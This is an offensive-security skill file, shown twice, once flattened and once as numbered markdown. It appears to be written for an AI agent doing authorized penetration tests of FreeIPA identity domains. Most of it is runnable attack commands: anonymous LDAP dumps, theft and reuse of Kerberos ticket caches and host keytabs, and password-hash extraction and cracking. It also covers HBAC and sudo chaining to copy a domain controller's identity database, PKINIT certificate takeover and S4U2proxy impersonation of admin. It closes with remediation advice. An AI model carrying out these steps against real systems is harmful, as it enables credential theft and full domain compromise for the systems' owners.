Pentesting FreeIPA
When to Use
- You find Unix/Linux hosts integrated with a central identity provider, a FreeIPA web UI on
443, or /etc/krb5.conf and /etc/ipa/default.conf on a foothold.
- LDAP (
389/636) and Kerberos (88) services answer on a server and clients have sssd configured.
- You compromised a domain-joined Unix host and want to enumerate users/hosts/groups, harvest Kerberos tickets, and abuse HBAC/sudo rules for lateral movement.
- You hold a standard user, a host keytab, or a service account and need a graph-driven path to domain compromise.
Critical: Techniques Most Often Missed
- Anonymous LDAP bind — by default FreeIPA's LDAP allows anonymous binds, exposing a large amount of data unauthenticated.
ldapsearch -x # anonymous bind, dumps enumerable data unauthenticated
- How to CONFIRM:
ldapsearch -x -b "dc=domain,dc=local" returns user/host entries without credentials.
- Stealing and reusing CCACHE tickets from
/tmp — CCACHE files live in /tmp with 600 perms and let you authenticate without the plaintext password.klist # parse the current ticket
export KRB5CCNAME=/tmp/krb5cc_1000 # reuse a stolen ccache
klist # confirm the imported TGT
- How to CONFIRM: after exporting
KRB5CCNAME, klist shows a valid krbtgt/... ticket and ipa user-find works without kinit.
- Keytab reuse for non-interactive TGTs —
/etc/krb5.keytab (hosts) and service keytabs yield TGTs without any password via kinit -k.kinit -k -t /etc/krb5.keytab 'host/srv.domain.local@DOMAIN.LOCAL'
klist -k /etc/krb5.keytab # enumerate principals/keys in a keytab
- How to CONFIRM:
kinit -kt succeeds and klist shows the host/service TGT; reuse it against LDAP with ldapwhoami.
admin == Domain Admin; root on the IPA server owns the hashes — the FreeIPA admin role equals AD domain admins, and root on the server can dump hashes with dbscan (userPassword/ipaNTHash base64 attributes).
- How to CONFIRM:
ipa user-show admin --all and, on the server as root, dbscan extraction of userPassword/ipaNTHash.
- HBAC + sudo rule chaining to a DC —
CanSSH (HBAC allows sshd) plus CanSUDO (HBAC + matching sudo rule, especially ipaSudoOpt=!authenticate) to a domain controller can let you steal id2entry.db = effectively full domain compromise.
- How to CONFIRM:
ipa hbacrule-show <rule> --all and ipa sudorule-show <rule> --all reveal a path; test ssh then sudo -l on the target host.
Workflow
Step 1: Locate config and prepare authentication
cat /etc/krb5.conf # KDCs, admin servers, realm mappings
cat /etc/ipa/default.conf # IPA client/server defaults
ls -la /etc/krb5.keytab /tmp/krb5cc_* # host keytab + user ccaches
env | grep -i krb5 # KRB5CCNAME, KRB5_KTNAME, KRB5_CONFIG ...
kinit <user> # interactive, or:
kinit -k -t /etc/krb5.keytab 'host/srv.domain.local@DOMAIN.LOCAL'
klist
Step 2: Enumerate via LDAP and the ipa CLI
# Unauthenticated
ldapsearch -x
# Authenticated (GSSAPI/Kerberos)
ldapsearch -Y gssapi -b "cn=users,cn=compat,dc=domain_name,dc=local" # users
ldapsearch -Y gssapi -b "cn=groups,cn=accounts,dc=domain_name,dc=local" # user groups
ldapsearch -Y gssapi -b "cn=computers,cn=accounts,dc=domain_name,dc=local" # hosts
ldapsearch -Y gssapi -b "cn=hostgroups,cn=accounts,dc=domain_name,dc=local"
# From a domain-joined host with the ipa binary
ipa user-find ; ipa usergroup-find ; ipa host-find ; ipa host-group-find
ipa user-show <username> --all
ipa hostgroup-show <host group> --all
Step 3: Enumerate HBAC, sudo rules, roles/privileges/permissions
# HBAC (who can access which hosts/services)
ldapsearch -Y gssapi -b "cn=hbac,dc=domain_name,dc=local"
ipa hbacrule-find ; ipa hbacrule-show <hbacrule> --all
# sudo rules (commands allowed with sudo per host/user)
ldapsearch -Y gssapi -b "cn=sudorules,cn=sudo,dc=domain_name,dc=local"
ipa sudorule-find ; ipa sudorule-show <sudorule> --all
# Roles / privileges / permissions
ipa role-find ; ipa role-show <role> --all
ipa privilege-find ; ipa permission-find
Step 4: Graph paths (IPAHound) and abuse privileges
# Build an attack graph from a low-priv user / keytab / service account
IPAHound -k -s dc1.domain.local -a freeipa_apoc.json
IPAHound -s dc1.domain.local -u 'uid=user,cn=users,cn=accounts,dc=domain,dc=local' -p 'Password123!' -a freeipa_apoc.json
# Neo4j: focused spray list of password-auth-allowed principals
# MATCH (n:IPAUser) WHERE n.PasswordAuthAllow = True RETURN n.krbCanonicalName
# Host/service-account takeover via PKINIT (write userCertificate;binary over LDAP)
openssl req -new -newkey rsa:2048 -days 365 -nodes \
-keyout private.key -out cert.csr -subj '/CN=srv.domain.local'
ipa cert-request cert.csr --certificate-out=srv.pem --principal=host/srv.domain.local
kinit -X X509_user_identity=FILE:srv.pem,private.key test/srv.domain.local@DOMAIN.LOCAL
ldapwhoami -H ldap://dc1.domain.local
# Delegation abuse: S4U2proxy to impersonate admin to LDAP
kvno -U admin -k service.keytab -P ldap/dc1.domain.local@DOMAIN.LOCAL \
test/srv.domain.local@DOMAIN.LOCAL --out-cache ldap_admin.cache
KRB5CCNAME=ldap_admin.cache ldapwhoami -H ldap://dc1.domain.local
Key Concepts
| Concept |
Description |
| FreeIPA vs AD |
Unix-focused IdM combining LDAP directory + MIT Kerberos KDC + Dogtag CA; admin role ~= AD Domain Admins. |
| CCACHE |
Binary Kerberos credential cache in /tmp (600); reuse by exporting KRB5CCNAME. |
| Keytab |
File of principals + encrypted keys (/etc/krb5.keytab); kinit -k yields a TGT with no password. |
| HBAC |
Host-Based Access Control rules granting users/hosts access to hosts/services (e.g. sshd). |
| sudo rules |
Centralized sudo policy; ipaSudoOpt=!authenticate and broad cmdCategory enable host escalation. |
| Hash storage |
userPassword (SSHA512/PBKDF2_SHA256) and ipaNTHash (with AD trust) stored base64; extract with dbscan as root. |
| IPAHound edges |
CanSSH, CanSUDO, ReadKerberosKey, ForceChangePassword, AddRBCD, AddMember, Owns, PasswordAuthAllow. |
| PKINIT takeover |
A computer account owns its service principals; write userCertificate;binary via LDAP then kinit -X. |
Tools & Systems
| Tool |
Purpose |
| ldapsearch |
Anonymous (-x) and GSSAPI (-Y gssapi) enumeration of users/groups/hosts/HBAC/sudo. |
| ipa CLI |
user-find, host-find, hbacrule-show, sudorule-show, role/privilege/permission enumeration. |
| kinit / klist / kvno / kdestroy |
Acquire, list, and request Kerberos tickets; kinit -k from keytab; kvno for S4U2proxy. |
| Tickey |
Extract Kerberos tickets from the Linux keyring. |
| KeytabParser / klist -k |
Parse and reuse credentials from keytab files. |
| dbscan |
Extract password hashes on the IPA server as root. |
| John / hashcat |
Crack SSHA512 / PBKDF2_SHA256 / ipaNTHash hashes (decode base64 first). |
| IPAHound + Neo4j |
BloodHound-style FreeIPA attack graphing and path discovery. |
| LinikatzV2 / linikatz |
Harvest Kerberos/secret material from Unix hosts. |
| ipa-getkeytab / ldapmodify |
Reset service keys; write certs for PKINIT takeover. |
Common Scenarios
Scenario 1: Anonymous LDAP exposes the directory
ldapsearch -x against the FreeIPA server returns users, groups, and hosts without credentials, giving a full target list and revealing service accounts to spray.
Scenario 2: Host keytab to lateral movement
A compromised client's /etc/krb5.keytab is reused with kinit -k -t /etc/krb5.keytab host/srv@DOMAIN.LOCAL. Authenticated ldapsearch -Y gssapi and ipa hbacrule-find map a CanSSH+CanSUDO path to a domain controller; SSHing and sudo there allows copying id2entry.db.
Scenario 3: Service account PKINIT takeover
Holding a computer account that owns its service principals, the operator issues a cert with ipa cert-request, writes userCertificate;binary to the service object via ldapmodify, and runs kinit -X X509_user_identity=...; ldapwhoami confirms the new identity before S4U2proxy delegation abuse to LDAP as admin.
Output Format
## FreeIPA Finding
**Component**: FreeIPA (LDAP 389/636, Kerberos 88) - realm DOMAIN.LOCAL
**Severity**: Critical
**Finding**: Anonymous LDAP enumeration + reusable host keytab enables path to domain compromise
**Evidence**:
- `ldapsearch -x` returned all users/hosts unauthenticated
- `kinit -k -t /etc/krb5.keytab host/web01@DOMAIN.LOCAL` -> valid TGT (klist)
- `ipa hbacrule-show allow_all --all` + `ipa sudorule-show admins_sudo --all` -> CanSSH+CanSUDO to dc1
- sudo on dc1 allowed read of /var/lib/dirsrv/.../id2entry.db
**Impact**: An attacker on any joined host can enumerate the directory anonymously and chain HBAC/sudo rules to reach a domain controller, yielding the full identity database and effective domain compromise.
**Recommendation**:
1. Disable anonymous LDAP binds (restrict `nsslapd-allow-anonymous-access`).
2. Scope HBAC and sudo rules to least privilege; avoid `allow_all` and `ipaSudoOpt=!authenticate` on DCs.
3. Protect keytabs/CCACHE (tight perms, rotation) and monitor for offline ticket/keytab reuse.
4. Enforce strong hashing and MFA; restrict who holds the `admin` role and CA/cert-request privileges.
1---2name: pentesting-freeipa3description: Attacking FreeIPA, the open-source Active-Directory alternative for Unix environments, during authorized red-team operations - covering anonymous and authenticated LDAP/ipa enumeration, Kerberos CCACHE/keytab credential theft and reuse, HBAC and sudo rule abuse, hash extraction and cracking, IPAHound graphing, and PKINIT/S4U2proxy host-account takeover.4license: Apache-2.05---6
7# Pentesting FreeIPA
8
9## When to Use
10- You find Unix/Linux hosts integrated with a central identity provider, a FreeIPA web UI on `443`, or `/etc/krb5.conf` and `/etc/ipa/default.conf` on a foothold.
11- LDAP (`389`/`636`) and Kerberos (`88`) services answer on a server and clients have `sssd` configured.
12- You compromised a domain-joined Unix host and want to enumerate users/hosts/groups, harvest Kerberos tickets, and abuse HBAC/sudo rules for lateral movement.
13- You hold a standard user, a host keytab, or a service account and need a graph-driven path to domain compromise.
14
15## Critical: Techniques Most Often Missed
16- **Anonymous LDAP bind** — by default FreeIPA's LDAP allows anonymous binds, exposing a large amount of data unauthenticated.
17 ```bash
18 ldapsearch -x # anonymous bind, dumps enumerable data unauthenticated
19 ```
20 - How to CONFIRM: `ldapsearch -x -b "dc=domain,dc=local"` returns user/host entries without credentials.
21- **Stealing and reusing CCACHE tickets from `/tmp`** — CCACHE files live in `/tmp` with `600` perms and let you authenticate without the plaintext password.
22 ```bash
23 klist # parse the current ticket
24 export KRB5CCNAME=/tmp/krb5cc_1000 # reuse a stolen ccache
25 klist # confirm the imported TGT
26 ```
27 - How to CONFIRM: after exporting `KRB5CCNAME`, `klist` shows a valid `krbtgt/...` ticket and `ipa user-find` works without `kinit`.
28- **Keytab reuse for non-interactive TGTs** — `/etc/krb5.keytab` (hosts) and service keytabs yield TGTs without any password via `kinit -k`.
29 ```bash
30 kinit -k -t /etc/krb5.keytab 'host/srv.domain.local@DOMAIN.LOCAL'
31 klist -k /etc/krb5.keytab # enumerate principals/keys in a keytab
32 ```
33 - How to CONFIRM: `kinit -kt` succeeds and `klist` shows the host/service TGT; reuse it against LDAP with `ldapwhoami`.
34- **`admin` == Domain Admin; root on the IPA server owns the hashes** — the FreeIPA `admin` role equals AD domain admins, and `root` on the server can dump hashes with `dbscan` (`userPassword`/`ipaNTHash` base64 attributes).
35 - How to CONFIRM: `ipa user-show admin --all` and, on the server as root, `dbscan` extraction of `userPassword`/`ipaNTHash`.
36- **HBAC + sudo rule chaining to a DC** — `CanSSH` (HBAC allows `sshd`) plus `CanSUDO` (HBAC + matching sudo rule, especially `ipaSudoOpt=!authenticate`) to a domain controller can let you steal `id2entry.db` = effectively full domain compromise.
37 - How to CONFIRM: `ipa hbacrule-show <rule> --all` and `ipa sudorule-show <rule> --all` reveal a path; test `ssh` then `sudo -l` on the target host.
38
39## Workflow
40
41### Step 1: Locate config and prepare authentication
42```bash
43cat /etc/krb5.conf # KDCs, admin servers, realm mappings
44cat /etc/ipa/default.conf # IPA client/server defaults
45ls -la /etc/krb5.keytab /tmp/krb5cc_* # host keytab + user ccaches
46env | grep -i krb5 # KRB5CCNAME, KRB5_KTNAME, KRB5_CONFIG ...
47kinit <user> # interactive, or:
48kinit -k -t /etc/krb5.keytab 'host/srv.domain.local@DOMAIN.LOCAL'
49klist
50```
51
52### Step 2: Enumerate via LDAP and the ipa CLI
53```bash
54# Unauthenticated
55ldapsearch -x
56
57# Authenticated (GSSAPI/Kerberos)
58ldapsearch -Y gssapi -b "cn=users,cn=compat,dc=domain_name,dc=local" # users
59ldapsearch -Y gssapi -b "cn=groups,cn=accounts,dc=domain_name,dc=local" # user groups
60ldapsearch -Y gssapi -b "cn=computers,cn=accounts,dc=domain_name,dc=local" # hosts
61ldapsearch -Y gssapi -b "cn=hostgroups,cn=accounts,dc=domain_name,dc=local"
62
63# From a domain-joined host with the ipa binary
64ipa user-find ; ipa usergroup-find ; ipa host-find ; ipa host-group-find
65ipa user-show <username> --all
66ipa hostgroup-show <host group> --all
67```
68
69### Step 3: Enumerate HBAC, sudo rules, roles/privileges/permissions
70```bash
71# HBAC (who can access which hosts/services)
72ldapsearch -Y gssapi -b "cn=hbac,dc=domain_name,dc=local"
73ipa hbacrule-find ; ipa hbacrule-show <hbacrule> --all
74
75# sudo rules (commands allowed with sudo per host/user)
76ldapsearch -Y gssapi -b "cn=sudorules,cn=sudo,dc=domain_name,dc=local"
77ipa sudorule-find ; ipa sudorule-show <sudorule> --all
78
79# Roles / privileges / permissions
80ipa role-find ; ipa role-show <role> --all
81ipa privilege-find ; ipa permission-find
82```
83
84### Step 4: Graph paths (IPAHound) and abuse privileges
85```bash
86# Build an attack graph from a low-priv user / keytab / service account
87IPAHound -k -s dc1.domain.local -a freeipa_apoc.json
88IPAHound -s dc1.domain.local -u 'uid=user,cn=users,cn=accounts,dc=domain,dc=local' -p 'Password123!' -a freeipa_apoc.json
89
90# Neo4j: focused spray list of password-auth-allowed principals
91# MATCH (n:IPAUser) WHERE n.PasswordAuthAllow = True RETURN n.krbCanonicalName
92
93# Host/service-account takeover via PKINIT (write userCertificate;binary over LDAP)
94openssl req -new -newkey rsa:2048 -days 365 -nodes \
95 -keyout private.key -out cert.csr -subj '/CN=srv.domain.local'
96ipa cert-request cert.csr --certificate-out=srv.pem --principal=host/srv.domain.local
97kinit -X X509_user_identity=FILE:srv.pem,private.key test/srv.domain.local@DOMAIN.LOCAL
98ldapwhoami -H ldap://dc1.domain.local
99
100# Delegation abuse: S4U2proxy to impersonate admin to LDAP
101kvno -U admin -k service.keytab -P ldap/dc1.domain.local@DOMAIN.LOCAL \
102 test/srv.domain.local@DOMAIN.LOCAL --out-cache ldap_admin.cache
103KRB5CCNAME=ldap_admin.cache ldapwhoami -H ldap://dc1.domain.local
104```
105
106## Key Concepts
107| Concept | Description |
108|---------|-------------|
109| **FreeIPA vs AD** | Unix-focused IdM combining LDAP directory + MIT Kerberos KDC + Dogtag CA; `admin` role ~= AD Domain Admins. |
110| **CCACHE** | Binary Kerberos credential cache in `/tmp` (600); reuse by exporting `KRB5CCNAME`. |
111| **Keytab** | File of principals + encrypted keys (`/etc/krb5.keytab`); `kinit -k` yields a TGT with no password. |
112| **HBAC** | Host-Based Access Control rules granting users/hosts access to hosts/services (e.g. `sshd`). |
113| **sudo rules** | Centralized sudo policy; `ipaSudoOpt=!authenticate` and broad `cmdCategory` enable host escalation. |
114| **Hash storage** | `userPassword` (SSHA512/PBKDF2_SHA256) and `ipaNTHash` (with AD trust) stored base64; extract with `dbscan` as root. |
115| **IPAHound edges** | `CanSSH`, `CanSUDO`, `ReadKerberosKey`, `ForceChangePassword`, `AddRBCD`, `AddMember`, `Owns`, `PasswordAuthAllow`. |
116| **PKINIT takeover** | A computer account owns its service principals; write `userCertificate;binary` via LDAP then `kinit -X`. |
117
118## Tools & Systems
119| Tool | Purpose |
120|------|---------|
121| **ldapsearch** | Anonymous (`-x`) and GSSAPI (`-Y gssapi`) enumeration of users/groups/hosts/HBAC/sudo. |
122| **ipa CLI** | `user-find`, `host-find`, `hbacrule-show`, `sudorule-show`, `role/privilege/permission` enumeration. |
123| **kinit / klist / kvno / kdestroy** | Acquire, list, and request Kerberos tickets; `kinit -k` from keytab; `kvno` for S4U2proxy. |
124| **Tickey** | Extract Kerberos tickets from the Linux keyring. |
125| **KeytabParser / klist -k** | Parse and reuse credentials from keytab files. |
126| **dbscan** | Extract password hashes on the IPA server as root. |
127| **John / hashcat** | Crack SSHA512 / PBKDF2_SHA256 / ipaNTHash hashes (decode base64 first). |
128| **IPAHound + Neo4j** | BloodHound-style FreeIPA attack graphing and path discovery. |
129| **LinikatzV2 / linikatz** | Harvest Kerberos/secret material from Unix hosts. |
130| **ipa-getkeytab / ldapmodify** | Reset service keys; write certs for PKINIT takeover. |
131
132## Common Scenarios
133### Scenario 1: Anonymous LDAP exposes the directory
134`ldapsearch -x` against the FreeIPA server returns users, groups, and hosts without credentials, giving a full target list and revealing service accounts to spray.
135
136### Scenario 2: Host keytab to lateral movement
137A compromised client's `/etc/krb5.keytab` is reused with `kinit -k -t /etc/krb5.keytab host/srv@DOMAIN.LOCAL`. Authenticated `ldapsearch -Y gssapi` and `ipa hbacrule-find` map a `CanSSH`+`CanSUDO` path to a domain controller; SSHing and `sudo` there allows copying `id2entry.db`.
138
139### Scenario 3: Service account PKINIT takeover
140Holding a computer account that owns its service principals, the operator issues a cert with `ipa cert-request`, writes `userCertificate;binary` to the service object via `ldapmodify`, and runs `kinit -X X509_user_identity=...`; `ldapwhoami` confirms the new identity before S4U2proxy delegation abuse to LDAP as admin.
141
142## Output Format
143```
144## FreeIPA Finding
145
146**Component**: FreeIPA (LDAP 389/636, Kerberos 88) - realm DOMAIN.LOCAL
147**Severity**: Critical
148**Finding**: Anonymous LDAP enumeration + reusable host keytab enables path to domain compromise
149**Evidence**:
150 - `ldapsearch -x` returned all users/hosts unauthenticated
151 - `kinit -k -t /etc/krb5.keytab host/web01@DOMAIN.LOCAL` -> valid TGT (klist)
152 - `ipa hbacrule-show allow_all --all` + `ipa sudorule-show admins_sudo --all` -> CanSSH+CanSUDO to dc1
153 - sudo on dc1 allowed read of /var/lib/dirsrv/.../id2entry.db
154**Impact**: An attacker on any joined host can enumerate the directory anonymously and chain HBAC/sudo rules to reach a domain controller, yielding the full identity database and effective domain compromise.
155**Recommendation**:
156 1. Disable anonymous LDAP binds (restrict `nsslapd-allow-anonymous-access`).
157 2. Scope HBAC and sudo rules to least privilege; avoid `allow_all` and `ipaSudoOpt=!authenticate` on DCs.
158 3. Protect keytabs/CCACHE (tight perms, rotation) and monitor for offline ticket/keytab reuse.
159 4. Enforce strong hashing and MFA; restrict who holds the `admin` role and CA/cert-request privileges.
160```